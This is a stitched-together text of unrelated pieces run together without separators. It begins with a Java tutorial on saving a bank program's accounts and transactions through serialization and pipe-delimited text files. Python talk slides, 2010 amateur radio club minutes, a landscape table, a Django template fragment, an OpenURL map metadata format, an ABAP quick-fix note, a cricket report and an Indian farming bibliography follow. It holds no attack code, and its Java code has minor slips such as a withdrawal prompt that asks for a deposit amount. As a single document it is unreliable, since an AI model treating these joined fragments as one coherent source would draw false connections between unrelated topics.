Implement all //TODO parts and test them thoroughly. The Java bank program has evolved into an interactive program, but once the program ends, accounts and transaction history disappear as before. You can save your account and transaction history in the following ways:
To save an object to the file system, the object must be a serializable object. Modify the Bank, Account, and Transaction classes as shown below.
We need import java.io.Serializable; statement.public interface Bank extends Serializable {
public abstract class Account implements Serializable {
public class Transaction implements Serializable {
The scenario is as follows. When the program starts, it de-serializes the bank object information stored in the bank.ser file and loads the bank object into the heap memory. If this is the first time you are running the program after the modification and the bank.ser file is not created, a FileNotFoundException will be generated. When a FileNotFoundException occurs, call the bank class's constructor to create the bank object and assign the bank reference to the bank variable. At the end of the program, the bank object information is stored in the bank.ser file.
Add the following method to the BankUi class.
public void loadBank() throws Exception { try { ObjectInputStream in = null; in = new ObjectInputStream(new FileInputStream("bank.ser")); bank = (Bank) in.readObject(); in.close(); } catch (FileNotFoundException e) { bank = new ShinhanBank(); } }
public void saveBank() throws Exception { ObjectOutputStream out = null; out = new ObjectOutputStream(new FileOutputStream("bank.ser")); out.writeObject(bank); out.close(); }
private Bank bank; public BankUi() throws Exception { loadBank(); } public static void main(String[] args) throws Exception { BankUi ui = new BankUi(); ui.startWork(); ui.saveBank(); }
Before looking at the code hints for saving to a text file, let's first look at the File class. What you can do with the File class is as follows.
Note that the File class does not have I/O capabilities for files.
File dir = new File(path);
The above code snippet creates a file object.
The file or directory corresponding to path must be the full path of the system.
The following are the important methods of the File class.
For more information, please visit:
https://docs.oracle.com/javase/8/docs/api/java/io/File.html
The account information will be stored in a file named accounts.txt. The format of the stored account information is as follows.
101|Alison|10000|Normal 202|Bill|5000|Normal 303|Carol|0|Normal 404|Alison|0|Minus
Open the Account.java file and modify the toString() method as follows:
@Override public String toString() { StringBuffer sb = new StringBuffer(); sb.append(accountNo); sb.append("|"); sb.append(name); sb.append("|"); sb.append(balance); sb.append("|"); sb.append(kind); return sb.toString(); }
The transaction history will be stored in a file with the same name as the account number. The format of the transaction history information stored is as follows.
2014/5/1|09:33:30|D|10000|10000 2014/5/3|09:33:30|W|6000|4000
Open the Transaction.java file and modify the toString() method as follows:
@Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append(this.transactionDate); sb.append("|"); sb.append(this.transactionTime); sb.append("|"); sb.append(this.kind); sb.append("|"); sb.append(this.amount); sb.append("|"); sb.append(this.balance); return sb.toString(); }
Open BankUi.java and modify the code referring to the following.
static final String ACCOUNT_FILE = "accounts.txt"; static final String DATA_DIR = "./data/"; private Bank bank = new ShinhanBank(); /* public BankUi() throws Exception { loadBank(); } */ public static void main(String[] args) throws Exception { BankUi ui = new BankUi(); ui.startWork(); //ui.saveBank(); }
When the program starts, it reads the account information from the accounts.txt file and loads the account object. If you work in Eclipse, you need to create a data folder in the project root directory and create an empty file named accounts.txt in the folder.
FileReader fr = null; fr = new FileReader(DATA_DIR + BankUi.ACCOUNT_FILE); BufferedReader br = new BufferedReader(fr); String str = null; while ((str = br.readLine()) != null) { StringTokenizer st = new StringTokenizer(str, "|"); String accountNo = st.nextToken(); String name = st.nextToken(); long balance = Long.parseLong(st.nextToken()); String kind = st.nextToken(); if (kind.equals(Account.NORMAL)) { bank.addAccount(accountNo, name, balance, Account.NORMAL); } else if (kind.equals(Account.MINUS)) { bank.addAccount(accountNo, name, balance, Account.MINUS); } } br.close();
When you start the program, you load the transaction history object from each transaction history file and bind it with the account object.
File dir = new File(BankUi.DATA_DIR); File[] files = dir.listFiles(); FileReader fr = null; BufferedReader br = null; for (File file : files) { if (file.isFile()) { String fileName = file.getName(); if (!fileName.equals(BankUi.ACCOUNT_FILE)) { fr = new FileReader(BankUi.DATA_DIR + fileName); br = new BufferedReader(fr); List<Transaction> transactions = new ArrayList<Transaction>(); String str = null; while ( (str = br.readLine()) != null) { StringTokenizer st = new StringTokenizer(str, "|"); String day = st.nextToken(); String time = st.nextToken(); String kind = st.nextToken(); long amount = Long.parseLong(st.nextToken()); long balance = Long.parseLong(st.nextToken()); transactions.add(new Transaction(day,time,kind,amount,balance)); } Account account = bank.getAccount(fileName); if (account != null) { account.setTransactions(transactions); } } } }
When the program ends, the account and transaction details are saved.
StringBuilder sbForAccounts = new StringBuilder(); List<Account> accounts = bank.getAccounts(); for (Account account : accounts) { sbForAccounts.append(account); sbForAccounts.append(System.getProperty("line.separator")); StringBuilder sbForTransactions = new StringBuilder(); List<Transaction> transactions = account.getTransactions(); for (Transaction transaction : transactions) { sbForTransactions.append(transaction); sbForTransactions.append(System.getProperty("line.separator")); } FileWriter fw = new FileWriter(BankUi.DATA_DIR + account.getAccountNo(), false); BufferedWriter bw = new BufferedWriter(fw); bw.write(sbForTransactions.toString()); bw.close(); } FileWriter fw = null; BufferedWriter bw = null; fw = new FileWriter(DATA_DIR + BankUi.ACCOUNT_FILE, false); bw = new BufferedWriter(fw); bw.write(sbForAccounts.toString()); bw.close();
Saving to the database is described in the JDBC chapter.
package net.java_school.bank; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.ArrayList; import java.util.List; import java.util.StringTokenizer; public class BankUi { static final String ACCOUNT_FILE = "accounts.txt"; static final String DATA_DIR = "./data/"; private Bank bank = new ShinhanBank(); /* public BankUi() throws Exception { loadBank(); } */ private String readCommandLine() throws IOException { InputStreamReader isr = new InputStreamReader(System.in); BufferedReader br = new BufferedReader(isr); String input = br.readLine(); return input; } public void startWork() { String menu = null; do { System.out.println(" ** Menu ** "); System.out.println(" 1 ** Bank account registration "); System.out.println(" 2 ** List of bank accounts "); System.out.println(" 3 ** Deposit "); System.out.println(" 4 ** Withdrawal "); System.out.println(" 5 ** Transfer "); System.out.println(" 6 ** Transaction history "); System.out.println(" q ** Exit "); System.out.println(" ********************** "); System.out.print(">>"); try { menu = readCommandLine(); String accountNo = null; String name = null; String kind = null; long amount = 0; if (menu.equals("1")) { //TODO Bank account registration System.out.print("Please enter the number of the account to be created: "); accountNo = this.readCommandLine(); System.out.print("Please enter the owner name of the account to be created: "); name = this.readCommandLine(); System.out.print("Please select the account type to be created. Normal(n), Minus(m): Normal(n): : "); kind = this.readCommandLine(); if (kind.equals("") || kind.equals("n") || kind.equals("m")) { if (kind.equals("")) { kind = Account.NORMAL; } else if (kind.equals("n")) { kind = Account.NORMAL; } else { kind = Account.MINUS; } bank.addAccount(accountNo, name, kind); } } else if (menu.equals("2")) { //TODO List of bank accounts List<Account> accounts = bank.getAccounts(); for (Account account : accounts) { System.out.println(account); } } else if (menu.equals("3")) { //TODO Deposit System.out.print("Please enter your account number: "); accountNo = this.readCommandLine(); System.out.print("Please enter deposit amount: "); amount = Integer.parseInt(this.readCommandLine()); Account account = bank.getAccount(accountNo); account.deposit(amount); } else if (menu.equals("4")) { //TODO Withdrawal System.out.print("Please enter your account number: "); accountNo = this.readCommandLine(); System.out.print("Please enter deposit amount: "); amount = Integer.parseInt(this.readCommandLine()); Account account = bank.getAccount(accountNo); account.withdraw(amount); } else if (menu.equals("5")) { //TODO Transfer System.out.print("Please enter your account number: "); String from = this.readCommandLine(); System.out.print("Please enter the account number you wish to transfer: "); String to = this.readCommandLine(); System.out.print("Enter transfer amount: "); amount = Integer.parseInt(this.readCommandLine()); Account fromAccount = bank.getAccount(from); Account toAccount = bank.getAccount(to); fromAccount.withdraw(amount); toAccount.deposit(amount); } else if (menu.equals("6")) { //TODO Transaction history System.out.print("Please enter your account number: "); accountNo = this.readCommandLine(); Account account = bank.getAccount(accountNo); List<Transaction> transactions = account.getTransactions(); for (Transaction transaction : transactions) { System.out.println(transaction); } } } catch (Exception e) { e.printStackTrace(); } System.out.println(); } while (!menu.equals("q")); } public void loadBank() throws Exception { try { ObjectInputStream in = null; in = new ObjectInputStream(new FileInputStream("bank.ser")); bank = (Bank) in.readObject(); in.close(); } catch (FileNotFoundException e) { bank = new ShinhanBank(); } } public void saveBank() throws Exception { ObjectOutputStream out = null; out = new ObjectOutputStream(new FileOutputStream("bank.ser")); out.writeObject(bank); out.close(); } public void readAccounts() throws Exception { FileReader fr = null; fr = new FileReader(DATA_DIR + BankUi.ACCOUNT_FILE); BufferedReader br = new BufferedReader(fr); String str = null; while ( (str = br.readLine()) != null) { StringTokenizer st = new StringTokenizer(str, "|"); String accountNo = st.nextToken(); String name = st.nextToken(); long balance = Long.parseLong(st.nextToken()); String kind = st.nextToken(); if (kind.equals(Account.NORMAL)) { bank.addAccount(accountNo, name, balance, Account.NORMAL); } else if (kind.equals(Account.MINUS)) { bank.addAccount(accountNo, name, balance, Account.MINUS); } } br.close(); } public void readTransactions() throws Exception { File dir = new File(BankUi.DATA_DIR); File[] files = dir.listFiles(); FileReader fr = null; BufferedReader br = null; for (File file : files) { if (file.isFile()) { String fileName = file.getName(); if (!fileName.equals(BankUi.ACCOUNT_FILE)) { fr = new FileReader(BankUi.DATA_DIR + fileName); br = new BufferedReader(fr); List<Transaction> transactions = new ArrayList<Transaction>(); String str = null; while ( (str = br.readLine()) != null) { StringTokenizer st = new StringTokenizer(str, "|"); String day = st.nextToken(); String time = st.nextToken(); String kind = st.nextToken(); long amount = Long.parseLong(st.nextToken()); long balance = Long.parseLong(st.nextToken()); transactions.add(new Transaction(day,time,kind,amount,balance)); } Account account = bank.getAccount(fileName); if (account != null) { account.setTransactions(transactions); } } } } } public void readAll() throws Exception { readAccounts(); readTransactions(); } public void writeAll() throws Exception { StringBuilder sbForAccounts = new StringBuilder(); List<Account> accounts = bank.getAccounts(); for (Account account : accounts) { sbForAccounts.append(account); sbForAccounts.append(System.getProperty("line.separator")); StringBuilder sbForTransactions = new StringBuilder(); List<Transaction> transactions = account.getTransactions(); for (Transaction transaction : transactions) { sbForTransactions.append(transaction); sbForTransactions.append(System.getProperty("line.separator")); } FileWriter fw = new FileWriter(BankUi.DATA_DIR + account.getAccountNo(), false); BufferedWriter bw = new BufferedWriter(fw); bw.write(sbForTransactions.toString()); bw.close(); } FileWriter fw = null; BufferedWriter bw = null; fw = new FileWriter(DATA_DIR + BankUi.ACCOUNT_FILE, false); bw = new BufferedWriter(fw); bw.write(sbForAccounts.toString()); bw.close(); } public static void main(String[] args) throws Exception { BankUi ui = new BankUi(); ui.readAll(); ui.startWork(); ui.writeAll(); //ui.saveBank(); } }
How to store account information and transactions in the database will be described in the JDBC chapter.


name: inverse layout: true class: centerish, middle, inverse --- # Where to from here? -- ## This is only Python 101, there's lots more --- # Some avenues for learning more ## (You're here at PyCon, that's a good start) --- # Mailing lists Python have several lists: - `tutor` - `python-help` - `python-dev` There are a few special interest ones too (eg. XML) You should also sign up for your local Python user group's mailing list, and ask questions there too, either in person or via email. --- # Books There are a wealth of free and paid-for books available on Python. Here are some useful free ones: - https://djangobook.com/the-django-book/ - http://www.greenteapress.com/thinkpython/thinkpython.pdf - https://automatetheboringstuff.com/ - http://www.openbookproject.net/py4fun/ (This is more a series of short articles) --- # Read code Most programmers spend their time reading code, rather than writing it ("What does this function do/why is it buggy?"), so it makes sense to get better at reading. It doesn't have to be a huge application either - there are lots of shorter code "snippets" around. --- # Write code Even if it's just a fun script or small game, solving a real problem. Figure out small problems in your life, figure out how you can solve them, and write it. Or volunteer to help out with an established project - some will have small issues set aside for new programmers. (Hint: there are sprints on Monday and Tuesday) -- ## REwrite code If you've got something that you think you could do better (it may even be something that you've written), trying to fix it or rewrite it will make you a better programmer (or it'll show you why the original programmer did things a certain way). --- # Teach someone If you want to master something, the fastest way to do it is to try to teach someone (once you've learned it yourself) -- # Document code Documentation is just teaching at a distance :) If you're going to document something, you have to understand it in detail. And in the course of explaining it, you'll often realise how you can make it better, or find bugs and missing edge cases. --- # Plug: Pyweek Pyweek is a local game development "competition" run by Richard Jones, where you write a small game in a week (A lower pressure version of Ludum Dare). http://www.pyweek.org --- # Come and talk to me! ## No seriously, if you've got questions about the code, or something in the tutorial, come and see me and I'll see if I can help. --- name: inverse layout: true class: center, middle, inverse --- # Final Questions? # Thanks for listening


|
August 21, 2010
The meeting was called to order by President Jim
McConnell at 2:00 p.m. in the King Room of Pueblo West Library.
Members present were:
-
Jim, NE0DA
- Bill, WA0KAQ
- Jane, KA0USA
- Dan, NG0T
- Andy, ND0P
- Ralph, KA0RER
- Paul, KB0JIT
- Billy, K5LKT
- Neal, KD0MBL
- David Yeater (call sign pending)
We were also delighted to have Lori Miner (AH6OS), who
many of you met at our Field Day exercise, at our meeting. Lori has
lived in Pueblo West for five years and has been inactive since
moving here. Lori joined our club, and we hope to have her back on
the airwaves soon. She spent many years as a member of the Big Island
Amateur Radio Club in Hawaii and has many valued ham friends there.
Lori holds an Advanced Class amateur radio licensed and is also a
Volunteer Examiner.
Also in attendance were two guests from Pueblo Ham
Club. They were Stanley Clark, WB0JRG, and Bill Nicoll, N0CGQ.
August Birthdays:
Birthday wishes go out to Dan (NG0T), Kirk (KD0LDH),
and Ralph (KA0RER).
News From Members:
August took its annual toll on ham radio operations,
with many of the members having family reunions, trips and other activities.
Neal, KD0MBL, successfully passed the examination for
his Amateur Extra ticket at the VE Session held before the club
meeting. He an Andy, ND0P, enjoyed working stations from the top of
Pikes Peak during the Colorado 14er event.
David Yeater aced his Technician Class test just
before our meeting, then took and passed the General. He has been
monitoring our weekly VHF net, so we hope to see him on the air soon.
Paul, KB0JIT, helped Neal build an antenna which Neal
and Andy used on top of Pikes Peak during the Colorado 14er event. He
also represented our club at the VE Session held before our meeting.
Dan, NG0T, said he has not been active since Field
Day. Work has been keeping him away from the radio.
Bill, WA0KAQ, stated he had not been on the air much
since the last meeting but was able to snare Greece on 20 meter cw
this month running 90 watts. He also received QSL cards from
Kazakhstan, Samoa, St. Lucia Island and Belarus. He reported that he
had finished the changes to the tri-fold brochure about our club and
printed and folded 25 of them. He also printed the ham class
applications and other information for new ham class students, and
gave the new student packets to Paul for the training coordinators to use.
Jane, KA0USA, is enjoying her retirement but has not
been using the radio much lately. She has been canning pickles,
apples, applesauce, peaches, pickled beets and pickle relish among
other things. She did manage a contact with a Special Events station
at the experimental aircraft show in Oshkosh, WI, and received a card
from a Special Events station at the Indianapolis Motor Speedway. She
also served as a Volunteer Examiner for the first time at the VE
Session held before our meeting.
Ralph, KA0RER, thanked the club members who had
volunteered to work at his home after his basement was flooded by
heavy precipitation. Although the help was not needed, he appreciated
the club's offer.
Billy, K5LKT, stated he had been working some DX,
mostly from Africa.
Andy, ND0P, noted work had kept him off the air since
he and Neal visited Pikes Peak the second weekend. They are planning
to go again and set up another portable station.
Secretary's Report:
Meeting notes are e-mailed to all members and
prospects as soon as they are written and are posted on our website,
beginning with the January 2010 meeting. A copy of the minutes of the
previous month's meeting is always available at the sign-in table for
anyone who would like to view it. If anyone has questions on the
minutes, the Secretary will be happy to answer them and make
corrections if needed.
Treasurer's Report:
Dan, NG0T, reported a club balance of $733.71 in the
bank, and $25 in petty cash, for a total of $758.71.
Ways & Means Report:
Jane, KE0USA, reported a deal fell through for holding
a bake sale at the corner of S. McCulloch Blvd. and S. Joe Martinez
Blvd. The owners seems agreeable to the event but later changed their
minds. She is now looking at another location.
Several members said they would also support a yard
sale if it was held. Jane will work on this as well. Perhaps both
events could be held at the same time.
Report from Training Coordinators:
Classes are being held temporarily in the Pueblo West
Library from 7-9:00 p.m. each Thursday, however Ed, NI5R, has offered
to hold them in his home as well. Paul and Ed will make a decision on
which location will be used after Ed returns from a short trip. For
now, the class remains scheduled at the library.
Old Business:
Dan, NG0T, reported he had reviewed documents supplied
from clubs in northern Colorado supplied by WA0KAQ. These documents
showed how those clubs had formed their corporations.
In order for the club to receive non-profit status, it
must have a Board of Directors. The following wording was proposed to
be incorporated into our club's Constitution to fulfill that obligation.
ARTICLE (TBD): BOARD OF DIRECTORS
Section 1: As provided in the Articles of
Incorporation, all business and affairs of the Club shall be under
the direction and control of the Board of Directors, herein referred
to as the "Board."
Section 2: Requirement: All members of the Board shall
be members of the Club in good standing and shall hold a valid
Amateur Radio operator's license issued by the Federal Communications Commission.
Section 3: Members. The Board shall consist of three
members, two of which will be elected members, and one of which will
be the immediate past president of the Club, unless he shall be a
current Officer of the Executive Committee. If there is no eligible
past president, the Board may appoint another member to fill that
term until a past president becomes eligible.
Section 4: Election. Directors will be elected
following the election of the Executive Committee at the December
meeting of the Pueblo West Amateur Radio Club. To avoid any possible
conflict of interest, Directors may not be members of the Executive
Committee. A newly elected Director shall take office on January 1 of
the term for which elected, unless appointed to fill a vacancy, in
which case he or she shall take office immediately upon his or her appointment.
Section 5: Term of Office. Each Director shall hold
office for a period of one year, or until resigned, re-elected or
replaced by a successor.
Section 6: Vacancies. A vacancy on the Board shall be
filled by appointment by the Board of a qualified individual for the
unexpired term involved.
Section 7: Duties.
-
Ensure that the Executive Committee works toward the
club mission and goals set forth in the club's Constitution.
-
Work to enhance the public image of the Club.
-
Oversee the Club financial structure and activity,
including income, expenses, insurance coverage, audits, bank
relations, fund-raising, and other financial procedures.
-
Recommend the yearly dues for approval by the club membership.
-
Call Special Elections to fill vacant seats in the
Executive Committee, unless the vacancy is the Presidency whereby the
Vice-President will fill the position.
-
In October, the Board of Directors shall be appoint a
Nominations Committee, including the current president of the
Executive Committee. By the November general meeting the committee
will have chosen a slate of nominees to the Executive Committee, at
least one for each office, and for the Board of Directors. At the
November meeting nominations will be opened to the floor. After the
close of the nominations, the Nominating Committee will add its
selections to the slate.
-
The entire list of candidates will be published in the
club's meeting minutes and on the club's website prior to the
December election meeting.
-
Section 8: Meetings. Board meetings must be held at
least annually at a date and time to be determined by the Directors.
Additional meetings may be held as deemed necessary. Minutes of the
all meetings shall be made available to the club.
-
Section 9: Removal or Resignation. Any Officer or
Director may be removed from office by an affirmative vote of two-thirds
of the voting members present at a regular meeting. Any Officer or
Director may resign by written notice to the Board mailed to the
usual address of the Club. Such resignation is effective upon receipt
by the Club at its usual address. Acceptance of such notice is not
necessary to make it effective.
As provided in our Constitution, changes or
additions to the Constitution must be posted to the entire membership
before it can be voted upon. The proposal above, as modified on
August 21, will be placed on September 18 meeting's agenda for a
membership vote.
Program 1:
New Business:
Miscellaneous:
-
Antenna Party - We have several new hams or people who
are going to be hams shortly. KB0JIT has made a list of materials
needed for a simple 2-meter ground plane vertical, and those who are
interested could get together sometime next month and build their
antennas. If there is enough participation in this, he would be
willing to have another antenna party where hams can build their own
dipole antennas. It is hoped this can be done in September.
Program 2:
Coming Events:
-
Each Tuesday evening the PWARC holds its VHF net on
146.445 MHz FM simplex at 7:00.
-
Saturday, August 28, 5 p.m. - Pot Luck supper at
KB0RPD's residence to celebrate the club's first anniversary. Bring a
covered dish and table service. Bill lives at 125 S. Trevino Dr.
-
Sat., Sept. 4, 9:00 a.m. - Monthly Ragchew with coffee
or breakfast at the Hen House Café.	a
-
Sat., Sept. 18 -- 2:00 p.m. - Monthly PWARC Meeting at
2:00 p.m. at Pueblo West Library. We will be talking about DXing and
QSL cards. Bring your special QSL cards to show.
Next month's Program(s):
1) PowerPoint presentation on DXing
2) PowerPoint presentation on QSLing
Those of you who have used HF for a while probably
have some special QSL cards. Please bring some cards to this meeting
for display. They can DX cards, cards with some special meaning to
you, or just cards that you feel are very attractive.
Photos Needed:
-
Jeff Estabrook - membership badge
-
Current club officers - for website
Adjournment:
Submitted by William E. Ewing, WA0KAQ
PWARC Secretary |


Information about the Landscapes
| Types |
Description |
States |
Countries |
| Plain |
This type of landscape has cornfields and green grasses.
The weather will be either Spring or Summer. |
Illinois |
New Zealand |
| Paradise |
The two pictures show palm trees, the mountains, and the ocean.
The weather would be Summer. Some people would go swimming
in the ocean while some enjoy tanning
themselves on a sun. |
Hawaii |
Philippines |
| Night |
Both pictures show northern lights, which are called
Aurora Borealis. |
North Dakota |
Ireland |
| Fall |
Both pictures show great detail about Fall. |
North Carolina |
Japan |
| Winter |
These two pictures demonstrate what winter looks like. |
Minnesota |
Russia |


{% extends "base/booking/quick_deploy.html" %} {% block opnfv %} {% endblock opnfv %} {% block form-text %}
Please select a host type you wish to book. Only available types are shown. More information can be found here: LF Edge Wiki. If something isn't working right, let us know here!
{% endblock form-text %} {% block collab %}


| dc:title | DRAFT KEV Format: map |
|---|---|
| dc:creator | NISO Committee AX, OpenURL Standard Committee |
| dc:description | This Matrix represents a Cartographic Map. This metadata format describes cartographic materials in a way consistent with how they are described by the library community. |
| dc:identifier | info:ofi/fmt:kev:mtx:map |
| dc:identifier | http://www.openurl.info/registry/docs/mtx/info:ofi/fmt:kev:mtx:map |
| dcterms:created | 2004-01-01 |
| dcterms:modified |
A representation of a Key/Encoded-Value pair is generated by concatenating the contents of the first four columns of a row that begins with an ampersand in the Matrix below. The ordering of KEV pairs is not important. Rows which have '#' in the first column are comments and should not be included in the representation.
The following data types are provided for the values of the Keys, which must be URL-encoded:
| <data> | Character string |
|---|---|
| <id> | Character string for an Identifier (Z39.88-2004, Part 1, Section 7) |
| <fmt-id> | Character string for a Format Identifier (Z39.88-2004, Part 1, Sections 12 and 13) |
| <m-key> | Character string for a Metadata Key (Z39.88-2004, Part 2, Section 7.1) |
| <url> | Character string for a URL |
| <date> | Character string representing a date to the complete date level of the W3CDTF profile of ISO 8601, of the form: [ YYYY-MM-DD | YYYY-MM | YYYY ] |
| <time> | Character string representing a date and time to the seconds level of the W3CDTF profile of ISO 8601, of the form: [ YYYY-MM-DDThh:mm:ssTZD | YYYY-MM-DD ] |
Abbreviations in column headings:
| Delim | Key | Equals | Value | Min | Max | Description |
|---|---|---|---|---|---|---|
| & | aulast | = | <data> | 0 | 1 | First author's family name. This may be more than one word. In many citations, the author's family name is recorded first and is followed by a comma, e.g. Smith, Fred James is recorded as "aulast=smith" |
| & | aufirst | = | <data> | 0 | 1 | First author's given name or names or initials. This data element may contain multiple words and punctuation, e.g. "Fred F", "Fred James" |
| & | auinit | = | <data> | 0 | 1 | First author's first and middle initials. |
| & | auinit1 | = | <data> | 0 | 1 | First author's first initial. |
| & | auinitm | = | <data> | 0 | 1 | First author's middle initial. |
| & | ausuffix | = | <data> | 0 | 1 | First author's name suffix. Qualifiers on an author's name such as "Jr.", "III" are entered here. e.g. Smith, Fred Jr. is recorded as "ausuffux=jr" |
| & | au | = | <data> | 0 | * | This data element contains the full name of a single author, e.g. "Smith, Fred M", "Harry S. Truman". |
| & | aucorp | = | <data> | 0 | * | Organization or corporation that is the author or creator of the map, e.g. "Geological Survey (U.S.)" |
| & | title | = | <data> | 0 | 1 | Map title, ie. "The NASA atlas of the solar system". |
| & | place | = | <data> | 0 | 1 | Place of publication. "Richmond, Va." |
| & | pub | = | <data> | 0 | 1 | Publisher name. "Dept. of Highways" |
| & | date | = | <date> | 0 | 1 | Date of publication. |
| & | edition | = | <data> | 0 | 1 | Statement of the edition of the map. This will usually be a phrase, with or without numbers, but may be a single number. E.g. "Anniversary edition", "4th ed." |
| & | isbn | = | <data> | 0 | 1 | International Standard Book Number (ISBN). The ISBN is usually presented as 9 digits plus a final check digit (which may be "X"), e.g. "057117678X" but it may contain hyphens, e.g. "1-878067-73-7" |
| & | genre | = | "atlas",
"globe", "map", "msmap", "unknown" |
0 | 1 | atlas: A bound collection of maps. globe: A model of the earth or other celestial body. map: A printed or published map. msmap: A manuscript map. Handwritten or drawn. unknown: use when the genre of the document is unknown. |


ABAP Quick Fixes - Replace LOOP AT ITAB with Header Line
Using this quick fix, you can replace old fashioned LOOP AT ITAB with header line with
LOOP AT ITAB ASSIGNING FIELD-SYMBOL(<ITAB>)
LOOP AT ITAB REFERENCE INTO DATA(ref_ITAB)
LOOP AT ITAB INTO DATA(wa_ITAB)
I case of the first two quick fixes, when MODIFY or DELETE statement is found inside the loop,
it is commented out. In case of LOOP AT ITAB INTO DATA, it is adjusted to the form
MODIFY ITAB FROM wa_ITAB.


Bangladesh crumble in debut India day-night Test
In Summary
Yadav claimed three wickets in India's pink-ball debut to rattle Bangladesh's top and middle order after they elected to bat first in Kolkata
Kolkata. India's Umesh Yadav led an inspired pace attack Friday to leave Bangladesh tottering at 73 for six in the first day-night Test for both teams.
Yadav claimed three wickets in India's pink-ball debut to rattle Bangladesh's top and middle order after they elected to bat first in Kolkata.
Nayeem Hasan was batting on nought and Liton Das retired hurt on 24 at tea -- the first break in the day-night game.
Liton was hit by a Mohammed Shami bouncer in the penultimate over before the break and looked uncomfortable in the next over from Ishant Sharma.
The batsman got physio attention before the umpires called for the break.
India and Bangladesh have joined the pink-ball party four years after the first day-night Test in Adelaide between Australia and New Zealand.
Advertisement
Ishant Sharma struck first getting ImrulKayes trapped lbw for four, and the left-handed opener wasted a review with replays suggesting the ball would have hit leg stump.

Kolkata-based Shami, part of India's deadly pace trio in the series, received the loudest cheers from a packed house at Eden Gardens after getting Mushfiqur Rahim bowled for nought.
Opener Shadman Islam worked hard for his 29 off 52 balls before becoming Yadav's third victim of the first session.

India's cricket chiefSouravGanguly has put on a grand show at Eden Gardens, which is sold out for the first four days of the match.
Bangladesh Prime Minister Sheikh Hasina was in attendance along with a host of cricketing greats including batting icon Sachin Tendulkar.


Issues and Views
Lack of Technology
- Photo by Tom Fisk from Pexels https://www.pexels.com/photo/top-view-of-green-field-1595104/
- Kishore , Avinash. “Why Farmers Adopt Certain Technologies but Leave out Others.” Hindustan Times, 3 July 2018, www.hindustantimes.com/analysis/why-farmers-adopt-some-technologies-but-leave-out-others/story-exNEwf9FJRU73TBM9mBOiN.html
- Ghode, Pankajj. “Why Indian Farmers Need to Reform Digitally.” The Economic Times, Economic Times, 8 Aug. 2020, http://economictimes.indiatimes.com/small-biz/sme-sector/why-indian-farmers-need-to-reform-digitally/articleshow/77428712.cms?utm_source=contentofinterest
Farmer Illiteracy
- Swaminathan , MS. “Do We Have the Answers?” Down To Earth, http://www.downtoearth.org.in/news/agriculture/do-we-have-the-answers--58221
- Economics And Statistics,Ministry Of Agriculture,Government Of India, http://eands.dacnet.nic.in/latest_2006.htm
- The Hindu, N/A. “Over 3,000 Farmer Suicides in the Last 3 Years.” The Hindu, The Hindu, 4 July 2016, http://www.thehindu.com/data/over-3000-farmers-committed-suicide-in-the-last-3-years/article7130686.ece
- Nelarwar, Mohinish. “'Illiteracy Main Cause behind Farm Suicides': Nagpur News - Times of India.” The Times of India, TOI, http://timesofindia.indiatimes.com/articleshow/62044463.cms?utm_source=contentofinterest&utm_medium=text&utm_campaign=cppst
Environmental Issues
- FISCHER, TONY. “How Air Pollution Is Holding down Wheat Yields in India.” Ifpri.org, 11 Oct. 2019, https://www.ifpri.org/blog/how-air-pollution-holding-down-wheat-yields-india
- “Agriculture and Rural Development in India - Watershed Development.” Adi International, https://www.adi-international.org/agriculture-rural-development/#:~:text=Agriculture%20is%20still%20the%20major,that%20determines%20their%20well%20being
- Sustainable Food Trust -. “The Impact of Air Pollution on Crops.” Sustainable Food Trust, 7 May 2019,
Link.
- KANT, AMITABH. “Composite Water.” NITI Aayog, 12 June 2018. http://niti.gov.in/writereaddata/files/document_publication/2018-05-18-Water-Index-Report_vS8-compressed.pdf
- Möller-Gulland, Jennifer, et al. “Toxic Water, Toxic Crops: India's Public Health Time Bomb.” Toxic Water, Toxic Crops: India’s Public Health Time Bomb, 3 Jan. 2019, https://www.newsecuritybeat.org/2019/01/toxic-water-toxic-crops-indias-public-health-time-bomb/#:~:text=%E2%80%9CIf%20surface%20water%20is%20contaminated,thus%20enter%20the%20food%20chain.
- Marshall, Fiona, et al. “HEAVY METAL CONTAMINATION OF VEGETABLES IN DELHI.” Imperial College, London in Partnership with Srishti; Delhi University; Banaras Hindu University, Varanasi; Development Tracks, New Delhi and the Indian Agricultural Research Institute, 2003. http://toxicslink.org/docs/06102_Finding_of_Heavy_Metal_Contamination_of_Vegetables.pdf
Policy and politics
- “India GDP From Agriculture 2011-2020 Data: 2021-2023 Forecast: Historical: Chart.” India GDP From Agriculture | 2011-2020 Data | 2021-2023 Forecast | Historical | Chart,tradingeconomics.com/india/gdp-from-agriculture
- Sood, Jyotika. “India's Deepening Farm Crisis: 76% Farmers Want to Give up Farming, Shows Study.” Down To Earth, www.downtoearth.org.in/news/indias-deepening-farm-crisis-76-farmers-want-to-give-up-farming-shows-study-43728.
- Pti. “Modi Made False Promises to People to Misled Them 6 Years Ago: Manmohan Singh.” The Economic Times, Economic Times, 14 Dec. 2019,economictimes.indiatimes.com/news/politics-and-nation/modi-made-false-promises-to-people-to-misled-them-6-years-ago-manmohan-singh/articleshow/72603655.cms.
- TOI.in. “Congress, Left Misguiding Farmers on Agriculture Laws: BJP MP Sadhvi Pragya: News - Times of India Videos.” The Times of India, 12 Dec. 2020, timesofindia.indiatimes.com/videos/news/congress-left-misguiding-farmers-on-agriculture-laws-bjp-mp-sadhvi-pragya/videoshow/79698846.cms.
economic issues
- Sood, Jyotika. “India's Deepening Farm Crisis: 76% Farmers Want to Give up Farming, Shows Study.” Down To Earth,www.downtoearth.org.in/news/indias-deepening-farm-crisis-76-farmers-want-to-give-up-farming-shows-study-43728
- Sengupta , Rajit. “Every Day, 28 People Dependent on Farming Die by Suicide in India.” Down To Earth, ww.downtoearth.org.in/news/agriculture/every-day-28-people-dependent-on-farming-die-by-suicide-in-india-73194
- Bureau, ET. “Agri Households' Average Earnings Grew to over Rs 1 Lakh in FY16.” The Economic Times, Economic Times, 18 Aug. 2018, economictimes.indiatimes.com/markets/stocks/news/agri-households-average-earnings-grew-to-over-rs-1-lakh-in-fy16/articleshow/65448083.cms?utm_source=contentofinterest.
- Mehta , Purvi. “India's Future Prosperity Depends on Extending Opportunities to Farmers.” Hindustan Times, 12 June 2019, www.hindustantimes.com/analysis/india-s-future-prosperity-depends-on-extending-opportunities-to-farmers/story-FaeCMo5iYlcceh3Wr4hX2N.htm
